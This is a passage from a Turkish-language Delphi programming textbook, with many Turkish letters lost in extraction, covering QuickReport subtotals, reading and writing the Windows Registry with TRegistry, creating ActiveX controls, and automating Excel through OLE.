Group Footer ksmnda yer alan Alt Toplam deerinin kmlatif (Bir nceki alt toplama eklenerek) gittiine dikkat etmisinizdir. ayet her tolamn birbirinden bamsz olarak gsterilmesini isterseniz o zaman aadaki admlar izlemelisiniz. Group Footer bandnda yer alan QRExp1 kontroln sein. Object Inspector penceresinde yer alan ResetAfterPrint zelliine true deerini aktarn. Bu aamadan sonra mousun sa tuuna tklayp Preview komutunu verirseniz, Group Footer ksmnda yer alan tm hesaplatmalar (birden fazla hesaplatma yaptrabilirsiniz) birbirlerinden bamsz olarak gerekleecektir. Yani hesaplanan maazaya ait tutara bir nceki maazann toplam deeri eklenmeyecektir. Aada raporun en son tasarm grnts ile Print preview grnts verilmektedir.

707

Dikkat edin alt toplam deerleri artk kmlatif deil, birbirlerinden tamamen bamsz olarak hesaplanmaktadr.

708

Rapor Dosyasna Uygulamanzdan Erimek: Oluturduunuz raporunuzun bask nizleme grntsne, program ierisinden nasl ulaabileceiniz hususu nem arz etmektedir. Dorusunu isterseniz fazla bir uraa gerek yok ama bilinmesi gerekmektedir. Aadaki uygulamada Form1 zerinde oluturulmu bir raporu Form5 zerine yerletirilecek Button kontrolnn OnClick yordamndan aalm. Aadaki kod blounu kullanabilirsiniz.

uses Unit1; //eklemeyi unutmaynz. {$R *.dfm} procedure TForm5.Button1Click(Sender: TObject); //Bask nizleme Al begin Form1.QuickRep1.Preview;//Bask nizleme yap end;

709

710

BLM 18 REGISTRY LEMLER

711

712

Registry: Windowsa ait teknik bilgilerin (Sizin yazm olduunuz projeye ait bilgilerde olabilir) depoland yerin ad Registry olarak bilinmektedir. Burada yer alan bilgiler ok nemli olmakla beraber, kullanclar genellikle buradaki ifadelerin ne olduklar hususunu pek bilmezler. Kullandklar paket programlar buraya defalarca deer girerler ama kullancnn bundan haberi bile olmaz. Dorusunu isterseniz tehlikeli bir konu olmakla beraber uzman programclarn bilmesi gereken bir konudur. Bu blmde Registry ile ilgili ilemlerinizi Delphi uygulamalarndan nasl gerekletirebileceinizi izah edeceim. ncelikle Registry yapsna nasl ulaabileceinizi gstermek istiyorum. Windows mensnde yer alan Start->Run seeneklerini seip alan pencereye Regedit komutunu girin. Aadaki gibi Registry nizde yer alan ana rootlarn gsterildii pencereye ulaacaksnz.

Bir ounuz bilirsiniz Windows 2000 iletim sisteminde Registryde kaytl be (5) ana Root vardr. HKEY_CLASSES_ROOT HKEY_CURRENT_USER HKEY_LOCAL_MACHINE HKEY_USERS HKEY_CURRENT_CONFIG Bu Rootlardan istediinize alt kalasr ekleyebilir, istediinizin ierisinden alt kalasrleri silebilirsiniz. Tabiki bu alt kalasrlere yazdrlm deiken deerlerini renip deitirme hakknzda bulunmaktadr. Aada Registry ierisinde ilem yapabilmeniz iin gerekli olan tm aklamalar detayl olarak verilmektedir.

713

Registryye programnzdan ulamak istiyorsanz uses satrna Registry ktphanesini eklemek zorundasnz. Aadaki kodlar altrabilmeniz iin bu bu ktphane eklenmitir. Registryye Veri Yazdmak: Registryye kayit eklemek iin izlemeniz gereken admlara gemeden nce tm Registry ilemlerinizde kullanmanz gereken bir yapdan bahsetmek istiyorum. Registry ktphanesini uses satrna ekledikten sonra Registry ilemlerinde kullanlmak zere Tregistry tipli bir deiken tanmlamak zorundasnz. procedure TForm1.Button1Click(Sender: TObject); //uses Registry ktphanesini eklemeyi unutmaynz. var deger:TRegistry;//Registry ilemleri iin tanmland begin Daha sonra bu deikeni kod blounuz ierisinde yer alan begin-end arasnda aadaki ekilde yaratmalsnz. procedure TForm1.Button1Click(Sender: TObject); var deger:TRegistry; begin deger:=TRegistry.Create;//deikeni yarat end; Artk Registry ilemlerini yapmak son derece kolay. Registry deikenini yarattktan sonra hangi Ana Roota deer yazdracanz belirtmelisiniz. Tm ana Root isimleri yukardaki ksmda verilmitir. Bu isimlerden istediinizi kullanabilirsiniz. deger.RootKey Bu zellie deeri yazdracanz veya okutacanz ana Root un ismini aktarabilirsiniz. Belirtilmesi kesinlikle zorunlu olan bir zelliidir. Aksi takdirde deikeninize ait deeri yazdraca yeri bilemeyecei iin sonu baarszlkla sonulanacaktr.

714

procedure TForm1.Button1Click(Sender: TObject); var deger:TRegistry; begin deger:=TRegistry.Create; deger.RootKey:=HKEY_CURRENT_USER;//Bu ana Rootla ilgileniyorum end; deger.OpenKey Ana Root altndaki hangi klasre deiken deerinin yazdrlaca (veya renilecei) bu zellikle belirlenir. Birinci parametre alt klasr, ikinci parametrede yazdrma veya deer renme ilemini belirler. True deerinin aktarlmas yazdrma ileminin yaptrlaca, false deerinin aktarlmas ise okuma ileminin gerekletirilecei anlamn tamaktadr. procedure TForm1.Button1Click(Sender: TObject); var deger:TRegistry; begin deger:=TRegistry.Create; deger.RootKey:=HKEY_CURRENT_USER;//Bu ana Rootla ilgileniyorum deger.OpenKey('',true);//AnaRoota yaz end; Burada dikkat etmeniz gereken bir husus daha var. Oda birinci parametrede ayet alt klasrlerden bir tanesine deiken deeri yazdrlacaksa ilk parametrede bu alt kalsrlerin yolunu (AppEvents\EventsLabels) belirtmelisiniz. Bo () string konulmas Ana root a yaz anlam tamaktadr. rneklere baknz. deger.WriteString Registry ye String deiken deeri yazdrmak iin kullanlan methoddur. Birinci parametresinde deikenin Registryde tutulaca ismi (daha sonra deeri okumak iin bu isim kullanlacaktr), ikinci parametrede yazdrlacak olan string ierii belirler (Bu bir string tip deikende olabilir). procedure TForm1.Button1Click(Sender: TObject); var deger:TRegistry; altklasor:AnsiString; 715

begin deger:=TRegistry.Create; deger.RootKey:=HKEY_CURRENT_USER;//Bu ana Rootla ilgileniyorum deger.OpenKey('',true);//registry ye yaz deger.WriteString('adi','Prestige Education Center');//yaz end; deger.WriteInteger-deger.WriteDate-deger.WriteCurrency Yazdracanz deikenin tipi String tip deilse size uyan yukardaki methodlardan bir tanesini kullanmalsnz. Kodlamada ayn mantk geerli olacaktr. deger.CloseKey leminiz bittikten sonra Registry tipli deikeninizi muhakkak bu komutla kapatmalsnz. procedure TForm1.Button1Click(Sender: TObject); var deger:TRegistry; begin deger.CloseKey;//Kapat end; imdi HKEY_CURRENT_USER ana Root altna dershane isminde bir deiken yazdracaz. Deikenin ierii de Prestige Education Center olacak.

Yukardaki dershane isimli deiken deerini Registryye yazdrmak iin aadaki kod blounu kullanabilirsiniz. 716

procedure TForm1.Button1Click(Sender: TObject); //uses Registry ktphanesini eklemeyi unutmaynz. var deger:TRegistry; altklasor:AnsiString; begin deger:=TRegistry.Create; deger.RootKey:=HKEY_CURRENT_USER;//Bu ana Rootla ilgileniyorum deger.OpenKey('',true);//registry ye yaz deger.WriteString('dershane','Prestige Education Center');//yazdr deger.CloseKey; end; Alt Klasre Veri Eklemek: nceki rneimizde AnaRoot altna deiken deeri ekledik imdi ise HKEY_CURRENT_USER Ana Root u altnda yer alan AppEvents klasrnn ierisindeki Schemes klasrne ayn deikenin deerini yazdralm.

procedure TForm1.Button2Click(Sender: TObject); var deger:TRegistry; altklasor:AnsiString; begin deger:=TRegistry.Create; deger.RootKey:=HKEY_CURRENT_USER;//Bu ana Rootla ilgileniyorum altklasor:='AppEvents\Schemes'; deger.OpenKey(altklasor,true);//alt klasre yaz deger.WriteString('dershane','Prestige Education Center'); deger.CloseKey; end;

717

Ana Roota Alt Klasr Eklemek: Ana Root a alt klasr eklemek iin CreateKey methodu kullanlr. deger.CreateKey Parametre olarak girilen alt klasrleri oluturmak iin kullanlan methoddur. Birden fazla klasr ayn anda ekleyebilirsiniz.

procedure TForm1.Button3Click(Sender: TObject); //uses Registry ktphanesini eklemeyi unutmaynz. //Alt Klasr Olutur var deger:TRegistry; altklasor:AnsiString; begin deger:=TRegistry.Create; deger.RootKey:=HKEY_CURRENT_USER;//Bu Roota ekle altklasor:='Prestige\Gazi'; //iki klasr deger.CreateKey(altklasor);//olutur deger.CloseKey; end; Program altrp Button kontrolne tklarsanz HKEY_CURRENT_USER ana Root u altnda Prestige, onun altnda da Gazi isimli alt klasrlerin olutuunu greceksiniz. Kod altktan sonraki registry grnts yukardaki pencerede gsterilmitir.

718

Alt Klasre Deiken Eklemek: Aadaki ekilde Ana Root altnda yer alan bir klasre kolayca deiken deerleri ekleyebilirsiniz.

procedure TForm1.Button4Click(Sender: TObject); var deger:TRegistry; altklasor:AnsiString; begin deger:=TRegistry.Create; deger.RootKey:=HKEY_CURRENT_USER;//Bu ana Rootla ilgileniyorum altklasor:='Prestige\Gazi'; deger.OpenKey(altklasor,true);//alt klasre yaz deger.WriteString('dershane','Prestige Education Center'); deger.CloseKey; end; Registryden Kayt Okutmak: Registry ye deer eklenebildii gibi imdi bahsedeceimiz yntemlerle de herhangi bir klasrdeki deikenin deerinide okutabilirsiniz. Deerini okuyacanz deiken ana root altnda veya alt klasrlerden birinin ierisinde bulunabilir. Her halkarda okutma yaptrabilirsiniz. Deerini oreneceiniz deiken, windows tarafndan yazdrlabilecei gibi, sizin daha nceden eklemi olduunuz bir deiken de olabilir. Yerini ve tipini doru belirteceiniz tm deikenleri okutabilirsiniz. 719

Ana Root Altndaki Bir Deikenin Deerini renmek: Aadaki ekilde HKEY_CURRENT_USER altnda yer alan dershane isimli deikenin deerini okuyabilirsiniz. deger.ReadString Registryden deiken deeri okutmak iin kullanlan methoddur. Parametre olarak sadece okuyacanz deikenin ismini girmek yeterli olacaktr. procedure TForm1.Button5Click(Sender: TObject); //Registry den oku var deger:TRegistry; sonuc:AnsiString; begin deger:=TRegistry.Create; deger.RootKey:=HKEY_CURRENT_USER;//Bu ana Rootla ilgileniyorum deger.OpenKey('',false);//ikinci parametre false dikkat edin sonuc:=deger.ReadString('dershane');//oku Form1.Caption:=sonuc; deger.CloseKey; end; Alt Klasrden Deiken Deeri Okutmak: Ana Root tan deiken deeri okuyabileceiniz gibi, alt klasrde bulunan bir deikenin deerinide aadaki yntemle okutabilirsiniz. procedure TForm1.Button6Click(Sender: TObject); var deger:TRegistry; sonuc,altklasor:AnsiString; begin deger:=TRegistry.Create; deger.RootKey:=HKEY_CURRENT_USER;//Bu ana Rootla ilgileniyorum altklasor:='Prestige\Gazi'; deger.OpenKey(altklasor,false);//alt klasrden oku sonuc:=deger.ReadString('dershane'); Form1.Caption:=sonuc; deger.CloseKey; end; 720

Windows Registry Bilgilerini Okutmak: Systeme ait olan bilgileride Registryden kolayca okutabilirsiniz. Aadaki rnekte HKEY_CURRENT_USER Ana Root unun altnda yer alan Printers klasrndeki bir deikenin deerini okutacaz. DiviceOld ismindeki bu deiken kullandnz yazcnn ismini ve port numarasn tutmaktadr.

Aadaki tasarm oluturun.

procedure TForm1.Button7Click(Sender: TObject); var deger:TRegistry; sonuc,altklasor:AnsiString; begin deger:=TRegistry.Create; deger.RootKey:=HKEY_CURRENT_USER;//Bu ana Rootla ilgileniyorum altklasor:='Printers'; deger.OpenKey(altklasor,false);//alt klasrden oku sonuc:=deger.ReadString('DeviceOld'); Form1.Caption:=sonuc; deger.CloseKey; end; 721

Alt Klasr Silmek: Registryde bulunan bir alt klasr silmek iin DeleteKey methodu kullanlmaktadr. deger.DeleteKey Parametre olarak belirtilen alt klasr silmek iin kullanlan methoddur. procedure TForm1.Button8Click(Sender: TObject); //Klasr Sil var deger:TRegistry; sonuc,altklasor:AnsiString; begin deger:=TRegistry.Create; deger.RootKey:=HKEY_CURRENT_USER;//Bu ana Rootla ilgileniyorum altklasor:='Prestige\Gazi'; deger.DeleteKey(altklasor);//belirtilen alt klasr sil deger.CloseKey; end; Alt Klasr erisindeki Deikeni Silmek: deger.DeleteValue Alt Klasrn ierisindeki deikeni silmek iin kullanlan methoddur. Parametre olarak sadece silinecek deikenin ismini girmek yeterli olacaktr. Daha nce HKEY_CURRENT_USER Ana Rootu altnda oluturduumuz Prestige\Gazi klasr ierisindeki dershane isimli deikeni silmek iin aadaki ekilde bir kodlama kullanmalsnz. procedure TForm1.Button9Click(Sender: TObject); //Deikeni Sil var deger:TRegistry; sonuc,altklasor:AnsiString; begin deger:=TRegistry.Create; deger.RootKey:=HKEY_CURRENT_USER;//Bu ana Rootla ilgileniyorum altklasor:='Prestige\Gazi'; 722

deger.OpenKey(altklasor,false);//alt klasrden oku deger.DeleteValue('dershane');//dershane isimli deikeni sil deger.CloseKey; end; Ana Root Altndaki Deikenleri renmek: deger.GetValueNames Registryede bulunan ana Root larn altndaki deiken isimlerini aadaki ekilde renebilirsiniz. Burada geriye dnen deeri muhakkak TstringList tipli bir deikene aktarmalsnz. procedure TForm1.Button10Click(Sender: TObject); var deger:TRegistry; altklasor:AnsiString; degiskenler:TStringList; begin deger:=TRegistry.Create; degiskenler:=TStringList.Create; deger.RootKey:=HKEY_CURRENT_USER;//Bu ana Rootla ilgileniyorum altklasor:=''; if not deger.OpenKey(altklasor,false) then ShowMessage('Hata') else begin deger.GetValueNames(degiskenler);//Tmn deikene aktar ListBox1.Items:=degiskenler;//listeye ekle deger.CloseKey; end; end; AnaRoot Altndaki Alt Klasrleri renmek: Yuardaki rnekte ana Root altndaki deikenleri renmeyi grdk. imdide ana root altnda bulunan klasr isimlerini listelemeyi gstereceim. deger.GetKeyNames Bu prosedr ile ana root altndaki tm klasrleri renebilirsiniz. Prosedr ierisinde parametre olarak TstringList tipli bir deiken kullanmak zorundasnz. Aada bu husus rneklendirilmitir. 723

procedure TForm1.Button11Click(Sender: TObject); var deger:TRegistry; altklasor:AnsiString; degiskenler:TStringList; begin deger:=TRegistry.Create; degiskenler:=TStringList.Create; deger.RootKey:=HKEY_CURRENT_USER;//Bu ana Rootla ilgileniyorum altklasor:=''; if not deger.OpenKey(altklasor,false) then//alt klasrden oku ShowMessage('Hata') else begin deger.GetKeyNames(degiskenler);//alt klasrleri gster ListBox1.Items:=degiskenler;//listeye yaz deger.CloseKey; end; end; imdi kullandmz method ve zellikleri rnek zerinde izah edelim. Yapacamz rnekte program ilk alt anda Registry ye ifreyi yazacak, kullanc ifreyi bilemeden ikinci formu kesinlikle aamayacaktr. Aadaki form tasarmn oluturunuz.

Program ilk altrdnz zaman Registry de password deerini bulamayaca iin hata mesaj verecektir (ayet exe dosyasn altrrsanz hata mesaj vermez. Anlalmayan bir husus varsa hata yakalama blmne tekrar baknz.). Except ten sonra yazdnz kod ileyerek Registry ye Kullanc ad ve Password deeri yazdrlacaktr.Aadaki kod blounu Unit pencerenize ekleyiniz. 724

uses Registry, Unit3; //Eklemeyi unutmaynz. procedure TForm2.FormCreate(Sender: TObject); var deger:TRegistry; pass:Integer; begin deger:=TRegistry.Create;//yarat deger.RootKey:=HKEY_CURRENT_USER; try deger.OpenKey('Prestige\Gazi',false);//okuma modunda a pass:=deger.ReadInteger('password');//ifreyi oku except//ifreyi bulamazsa iler deger.CloseKey;//kapat deger.RootKey:=HKEY_CURRENT_USER; deger.OpenKey('prestige\Gazi',true);//yazma modunda a deger.WriteString('kullaniciadi','Nihat Demirli');//ekle deger.WriteInteger('password',2222);//deiken ekle deger.CloseKey; end;end; procedure TForm2.Button1Click(Sender: TObject); var sifre:Integer; ad:AnsiString; deger:TRegistry; begin deger:=TRegistry.Create; deger.RootKey:=HKEY_CURRENT_USER; deger.OpenKey('prestige\Gazi',false); sifre:=deger.ReadInteger('password');//oku ad:=deger.ReadString('kullaniciadi');//oku deger.CloseKey; if (Edit1.Text<>ad) or (StrToInt(Edit2.Text)<>sifre) Then//yanlsa begin ShowMessage('Kullanc Bilgileri Yanl Yeniden Deneyin'); Edit1.Clear; Edit2.Clear; Edit1.SetFocus; end else begin Form3.Show;//dier formu a end;end;

725

Program altktan sonra aadaki gibi ifre giri formu karnza gelecektir. Kullanc adn ve ifrenizi yazp Giri isimli buttona tklayn.

ayet ifreyi doru girerseniz Aadaki ekilde ana formunuz alacak ve sizi tebrik edecektir.

Kendi uygulamanzda ifrenizi password diye kaydetmeyin tabiiki, deiik klasrler altna ok karmak ekillerde yazdracanz gizli bilgilerinizi siz hari kimse zemeyecektir.

726

BLM 19 KONTROL OLUTURMAK

727

728

Delphide Kontrol Oluturmak: Delphi ierisinde tanmlanm olarak bir ok kontrol bulunmaktadr. Bu kontroller ou kez iinizi grmekle beraber dilerseniz kendi kontrollerinizide oluturabilirsiniz. ActiveX Teknolojisi olarak adlandrlan bu ksmda ocx uzantl yeni ktphaneler oluturacaz. Aadaki admlar izleyerek ocx uzantl ktphane yaratabilirsiniz. File->New->Other menlerini izleyin. Aakai pencere alacaktr.

Bu Pencerede yer alan ActiveX yaprandaki ActiveForm iconunu seip OK buttonuna tklayn. Karnza aadaki pencere alacaktr.

Bu pencerede New ActiveX Name ksmna kontrolnzn ismini verip OK Buttonuna tklaynz. 729

Karnza yeni bir uyar penceresi gelecektir OK i seip dier admlara geiniz. Aadaki tasarm formunuzun zerinde oluturun. Burada amacmz ierisine sadece rakam girii yaplabilecek yeni bir kontrol yaratmak olacaktr.

Forma yerletirmi olduunuz Edit kontrolnn OnKeyPress yordamna aadaki kodu ekleyiniz. procedure Tprestige.Edit1KeyPress(Sender: TObject; var Key: Char); //sadere rakam giriine izin ver begin if (Key<'0') or (Key>'9') Then Key:=#0;//tuu iptal et end; Bu admda projenizi gazi ismiyle bilgisayarnzn herhangi bir klasrne kaydedin (Kaydettiiniz yeri sakn unutmayn proje derlendikten sonra ocx dosyas burada oluacaktr). Uygulamanz kaydettikten sonra Project->Comoile All Project admlarn izleyerek uygulamanz Compile edin. Bu admdan sonra projenizi kaydettiiniz klasrde ocx uzantl yeni bir dosya oluacaktr.

730

Kontrol Compenent Paletine Yerletirmek: Yeni bir Delphi uygulamas balatarak derlemi olduunuz kontrol aadaki admlar izleyerek Component paletine dahil edebilirsiniz. Component->Import Activex Control men admlarn izleyerek aadaki pencerenin almasn salaynz.

Bu pencerede Add dmesine tklayarak projenizi kaydettiiniz klasrn ierisinde oluturulmu olan ocx uzantl dosyay sein. Pencerede yer alan dier seeneklerden, Class names blm, Clasnzn Delphi tarafndan kullanlacak olan ismini(Tedit gibi), Palette page ksmda kontrolnzn yerletirilecei Component paletinin seilecei yerdir (varsaylan olarak Activex gelir, dilerseniz deitirebilirsiniz). Ardndan Install dmesine tklayn. Aadaki pencere alacaktr. Bu pencere Kontroln kaydedildii yeri size bildirmek amal olarak Delphi tarafndan atrlmaktadr. Tm varsaylan ayarlar kabul edip Ok buttonuna tklayabilirsiniz.

731

Ardndan aadaki uyar penceresi alacak Yes diyerek bu pencereyi de kapatn.

Son olarak aadaki uyar penceresi alacaktr. OK i iaretleyerek bu pencereyide kapatnz.

Componentiniz artk Delphi uygulamanza dahil edilmitir. Tm dier kontroller gibi btn formlarnzda kullanabilirsiniz.

imdi de yeni bir uygulama (Application) balatarak ActiveX paletine ekletmi olduumuz bu kontrol kullanmay deneyelim. Kontrol seip formunuzun zerine izin.

732

Ekran grnts aadaki ekilde gerekleecektir.

Deneme aamasnda Active formu olutururken OnKeyPress yordamna yazm olduunuz kodlar aynen alacaktr. Yani buradaki Edit kutusuna rakam dnda karakter giriini kesinlikle yapamazsnz. Active Formu Test Etmek: Oluturduunuz Active Form kontroln test etmek iin Project->Web Deployment Options admlarn izleyerek aadaki pencereyi atrn.

Bu pencerede dosyanzn dzgn adresini ilgili pencerelere girerek OK Buttonuna tklayn. 733

ActiveX Control Oluturmak: Bu blmde sizlere ActiveX Control nasl gelitirebileceinizi gstermek istiyorum. ActiveX Control oluturmak iin ncelikle aadaki admlar izleyerek yeni bir uygulama balatmalsnz. File->New->Other seeneklerini izleyin. Karnza aadaki pencere alacaktr.

Bu pencereden ActiveX Control seeneini seerek OK Buttonuna tklayn. Aadaki pencere alacaktr.

Alan bu pencerenin VCL Class Name ksmnda Delphi ktphanelerinde yer alan bileenlerinden bir tanesini seerek, New ActiveX Name blmne ismini girin (yazikutusu). 734

Bu tr rneklerde ama var olan kontroller den yeni daha gelimi (tretilmi) kontroller oluturmaktr. OK Buttonuna tklayarak ActiveX Control uygulamanz balatn. View->Units admlarn izleyerek aadaki pencereye ve oluturduu Unit lere dikkatinizi ekmek istiyorum.

Bu Unit lerden dier uygulamalarn ktphane olarak kullanaca TLB uzants olan dosya olacaktr. Bu yzden tm methodlarnz bu Unit ierisinde tanmlamalsnz. ActiveX Controle Function Eklemek: Sonuta yaratacanz kontrol bir ktphane oluturacaktr. Bu ktphanenin ierisinde tanmlanan tm methodlarda dier programlar tarafndan kullanlabilecektir. imdi kontrolnzden tretilecek dier nesnelerin kullanabilecei bir fonksiyonu nasl ekleyebileceinizi gstereceim. Yukardaki pencereden ActiveFormProj1_TLB seeneine ift tklayarak ekranda gsterilmesini salaynz. Bu Unit in Public ksmna aadaki fonksiyon tanmlamasn yapn. Tyazikutusu = class(TOleControl) private FOnChange: TNotifyEvent; FOnClick: TNotifyEvent;

735

FOnDblClick: TNotifyEvent; FOnKeyPress: TyazikutusuOnKeyPress; FIntf: Iyazikutusu; function GetControlInterface: Iyazikutusu; protected procedure CreateControl; procedure InitControlData; override; public Function hesapla(x:Integer):Integer; //tanmlayn mle bu satrda iken Ctrl+Shift+C Tularna basp kod blounun olumasn salayn (daha nceki blmlerde bu ilem detayl olarak anlatlmtr). Aadaki kod satrnda bu bloa girin. Yaplan ilem girilen saynn karesini almaktan ibarettir. function TActiveFormX.hesapla(x: Integer): Integer; begin Result:=x*x;//karesini bul end; ActiveX Contrele Prosedr Eklemek: imdi de ekleyeceiniz kontrole has bir prosedr tanmlamas yapalm. Prosedr tanmlayacanz yer fonksiyonu tanmladnz yerin aynsdr. Bu yzden bir alt satrna aadaki prosedr tanmlamasn yapnz. Ekleyeceimiz prosedr mesaj penceresi kullanaca iin Uses satrna Dialogs ktphanesini eklemeyi unutmaynz. Uses Dialogs //eklameyi unutmaynz public Function hesapla(x:Integer):Integer; //tanmlayn Procedure mesaj(x:AnsiString);//ekleyin Yine imle bu satrda iken Ctrl+Shift+C tlarna beraberce basp, prosedr blounun olumasn salaynz. procedure Tyazikutusu.mesaj(x: AnsiString); begin ShowMessage(x); end;

736

ActiveX Controln Derlenmesi: Mesaj isimli prosedr ile hesapla isimli fonksiyonu ActiveX Control projenize ekledikten sonra uygulamanz kaydedin (altrmayn nk baaramazsnz). Ardndan Project->Compile All Project seeneklerini izleyerek ActiveX Control projenizi derleyin (derlenme ileminden sonra ocx uzantl dosya, projenizi kaydettiiniz yerde otomatik olarak oluturulacaktr). AvtiveX Controln Component Paletine Eklenmesi: Yeni bir Delphi uygulamas balatarak derlemi olduunuz kontrol aadaki admlar izleyerek Component paletine dahil edebilirsiniz. Component->Import Activex Contrpol men admlarn izleyerek aadaki pencerenin almasn salaynz.

Bu pencerede Add dmesine tklayarak projenizi kaydettiiniz klasrn ierisinde oluturulmu olan ocx uzantl dosyay sein. Pencerede yer alan dier seeneklerden, Class names blm, Clasnzn Delphi tarafndan kullanlacak olan ismini(Tedit gibi), Palette page ksmda kontrolnzn yerletirilecei Component paletinin 737

seilecei yerdir (varsaylan olarak Activex gelir, dilerseniz deitirebilirsiniz). Ardndan Install dmesine tklayn. Aadaki pencere alacaktr. Bu pencere Kontroln kaydedildii yeri size bildirmek amal olarak Delphi tarafndan atrlmaktadr. Tm varsaylan ayarlar kabul edip Ok buttonuna tklayabilirsiniz.

Bu admdan sonra karnza gelecek olan pencerelere Ok dmesini seerek cevap verin.

Yukardaki ekilde ActiveX Control nz component paletine eklenecektir. Yaratlan ActiveX Controlm Projelerde Kullanlmas: AxtiveX Yapranda yer alan yeni kontrolnz srkleyip formun zerine brakn.

Ardndan yukardaki tasarm oluturunuz. Amacmz Button kontrolne tklanld zaman daha nce ActiveX Controlne eklediimiz hesapla 738

isimli fonksiyonu kullanarak ierie girilen saynn karesini hesaplatp formun balna yazdrmak olacaktr. Aadaki kod blounu Unit penceresine ekleyiniz. procedure TForm1.Button1Click(Sender: TObject); var deger,sonuc:Integer; begin deger:=StrToInt(yazikutusunu1.Text); sonuc:=yazikutusunu1.hesapla(deger);//karesini al Form1.Caption:=IntToStr(sonuc);yazdr end;

739

740

BLM 20 EXCEL & .NET TEKNOLOJS

741

742

Excel Uygulamalar: Excelin ok gl tablolama zelliinin olmas ve herkes tarafndan ok rahatlkla kullanlabilmesi, tm diller tarafndan desteklenmesini salamtr. Emin olun yapacanz uygulamalarn ounda (belkide hepsinde) program yaptran firma yetkilileri sizden Excel balants isteyecektir. Bu blmde Microsoft Excel hcrelerine nasl deer aktarabileceinizi, hcre ierisindeki deerleri nasl kullanabileceinizi gstereceim. Aadaki ekilde uses satrna comobj ktphanesini eklemeyi unutmaynz. Bu ktphane CreateOleObject methodunun almas iin gereklidir. uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls,comobj;//eklemeyi unutmayn. Excel Dosyas Yaratmak: Aadaki kod blounu kullanarak kolayca Excel dosyas yaratabilirsiniz. Dosyay yaratrken CreateOleObject komutundan faydalanmaktayz. procedure TForm1.Button1Click(Sender: TObject); //uses comobj eklemeyi unutmaynz. var sayfa,uygulama: Variant; begin uygulama := CreateOleObject('Excel.Application'); uygulama.Visible := True; uygulama.Workbooks.Add;//Ekle end; Koda dikkat edecek olursanz, CreateOleObject methodu ile Excel uygulamas balatlmakta, WorkBooks.Add komutuyla da alma kitab uygulamaya eklenmektedir. Excel Dosyasna Yeni Bir Sayfa Eklemek: Atnz veya oluturduunuz Excel dosyasna aadaki komutla kolayca yeni sayfalar ekleyebilirsiniz. Daha sonraki ksmda eklemi olduunuz sayfay nasl silebileceinizide gstereceim.

743

procedure TForm1.Button1Click(Sender: TObject); var sayfa,uygulama: Variant; begin uygulama := CreateOleObject('Excel.Application'); uygulama.Visible := True; uygulama.Workbooks.Add;//kitap ekle uygulama.worksheets.Add;//sayfa ekle end; Exceldeki Aktif Sayfann smini renmek: Ak olan sayfann ismini aadaki kod blouyla kolayca renebilirsiniz. procedure TForm1.Button1Click(Sender: TObject); var sayfa,uygulama: Variant; isim:AnsiString; begin uygulama := CreateOleObject('Excel.Application'); uygulama.Visible := True; uygulama.Workbooks.Add; uygulama.worksheets.Add; isim:=uygulama.ActiveSheet.Name;//aktif sayfann ismi Form1.Caption:=isim; end; Excel Dosyasndaki Sayfa Saysn renmek: Baz durumlarda Excel dosyanzdaki alma sayfa saysn renmek isteyebilirsiniz. Bu ilem iin kullanacanz kod blou aada verilmitir. procedure TForm1.Button1Click(Sender: TObject); var sayfa,uygulama: Variant; isim:AnsiString; adet:Integer; begin uygulama := CreateOleObject('Excel.Application'); uygulama.Visible := True; uygulama.Workbooks.Add;

744

uygulama.worksheets.Add; adet:=uygulama.WorkSheets.Count;//sayfa saysn ren Form1.Caption:=IntToStr(adet); end; Excel Dosyasn Kapatmak: Oluturduunuz veya var olan bir Excel dosyasn kapatmak iin aadaki kod blounu kullanabilirsiniz. Bu rnekte Excel deikeninin global tanmlandna dikkat ediniz. var sayfa,uygulama: Variant; procedure TForm1.Button1Click(Sender: TObject); //Yarat var i, j: Integer; isim:AnsiString; adet:Integer; begin uygulama := CreateOleObject('Excel.Application'); uygulama.Visible := True; uygulama.Workbooks.Add; uygulama.worksheets.Add; end; procedure TForm1.Button2Click(Sender: TObject); //Kapat begin uygulama.quit;//Uygulamay Kapat end; Excel Hcrelerine Veri Aktarmak: Gelelim en nemli ilevimize, en ok ihtiyacnzn olaca kod blounun bu ksm olduunu dnyorum. Aadaki kod blou sayesinde Listenizde yer alan satrlar kolayca Excel hcrelerine aktarabileceksiniz. var sayfa,uygulama: Variant; procedure TForm1.Button1Click(Sender: TObject); begin 745

uygulama := CreateOleObject('Excel.Application'); uygulama.Visible := True; uygulama.Workbooks.Add; end; procedure TForm1.FormCreate(Sender: TObject); begin ListBox1.Items.Add('Nihat Demirli'); ListBox1.items.Add('Yksel nan'); ListBox1.items.Add('Osman al'); ListBox1.Items.Add('Hamza Kendi'); ListBox1.Items.Add('Kemal Erkol'); end; procedure TForm1.Button3Click(Sender: TObject); //Excele yolla var i,satir:Integer; begin satir:=ListBox1.Items.Count;//ka satr var for i:=1 to satir do begin uygulama.activeSheet.Cells[i,2]:=ListBox1.items[i-1];//aktif sayfaya aktar end; end; Excel Hcrelerinden Veri Okumak: Aadaki kod blou sayesinde Excel syfasnda yer alan ilk (A) stuna ait tm hcre deerlerini ListBox Kontrolne aktarabilirsiniz (lk bo satra kadar aktarma yapacak. Siz daha deiik bir kriter koyabilirsiniz). var sayfa,uygulama: Variant; procedure TForm1.Button1Click(Sender: TObject); begin uygulama := CreateOleObject('Excel.Application'); uygulama.Visible := True; uygulama.Workbooks.Add; uygulama.worksheets.Add; end; procedure TForm1.Button4Click(Sender: TObject); //Listeye Ekle var 746

i:Integer; begin i:=1; Repeat ListBox1.items.Add(uygulama.ActiveSheet.cells[i,1].Value); inc(i); until uygulama.ActiveSheet.cells[i,1].value='';//bo hcreye kadar oku end; Program altrdktan sonra ncelikle ilk buttona tklayarak bir alma sayfas yaratn. Arkasndan A stununa gerekli deerleri girin (istediiniz kadar hcreyi doldurabilirsiniz). Artk listeye ekle buttonuna tklayabilirsiniz. Tm hcre deerlerinin listeye eklendiini (ilk bo hcreye kadar) greceksiniz. Excel Sayfasnda bir Hcreyi Aktif Hale Getirmek: Aadaki kod satryla yaratm olduunuz Excel dosyasnda istediiniz stunu aktif hale getirebilirsiniz. Bizim uygulamamzda aktfleecek olan hcre C2 Hcresi olacaktr. var sayfa,uygulama: Variant; procedure TForm1.Button1Click(Sender: TObject); //Yarat begin uygulama := CreateOleObject('Excel.Application'); uygulama.Visible := True; uygulama.Workbooks.Add; uygulama.worksheets.Add; end; procedure TForm1.Button5Click(Sender: TObject); //Hcre se begin uygulama.ActiveSheet.Cells[2,3].Select;//c2 hcresini se end; veya var sayfa,uygulama: Variant; procedure TForm1.Button1Click(Sender: TObject); 747

